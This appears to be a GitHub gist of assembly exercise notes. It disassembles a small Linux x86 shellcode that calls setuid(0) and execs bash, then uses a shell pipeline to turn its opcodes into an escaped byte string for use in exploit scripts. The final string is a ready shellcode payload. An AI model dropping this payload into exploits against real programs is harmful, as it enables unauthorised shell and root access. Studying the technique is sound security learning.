Skip to content

Instantly share code, notes, and snippets.

@c0debreaker
Created June 15, 2019 16:35
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save c0debreaker/51c69778cf905b51b5ac62bf4c412a61 to your computer and use it in GitHub Desktop.
Save c0debreaker/51c69778cf905b51b5ac62bf4c412a61 to your computer and use it in GitHub Desktop.

Extract opcode from the compiled shellcode written in Assembly Language

╭─[debian] as root in /mnt/exercises/assembly on (master)✘✘✘                                               06-15 11:26:48
╰─(ノ˚Д˚)ノ  objdump -Mintel -d shellcode-bash

shellcode-bash:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	31 c0                	xor    eax,eax
 8048062:	89 c3                	mov    ebx,eax
 8048064:	b0 17                	mov    al,0x17
 8048066:	cd 80                	int    0x80
 8048068:	31 d2                	xor    edx,edx
 804806a:	52                   	push   edx
 804806b:	68 62 61 73 68       	push   0x68736162
 8048070:	68 62 69 6e 2f       	push   0x2f6e6962
 8048075:	68 2f 2f 2f 2f       	push   0x2f2f2f2f
 804807a:	89 e3                	mov    ebx,esp
 804807c:	52                   	push   edx
 804807d:	53                   	push   ebx
 804807e:	89 e1                	mov    ecx,esp
 8048080:	8d 42 0b             	lea    eax,[edx+0xb]
 8048083:	cd 80                	int    0x80

Let's make it usuable for Python or Perl or whatever tools you use

╭─[debian] as root in /mnt/exercises/assembly on (master)✘✘✘                                               06-15 11:27:21
╰─(ノ˚Д˚)ノ  objdump -Mintel -d shellcode-bash |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment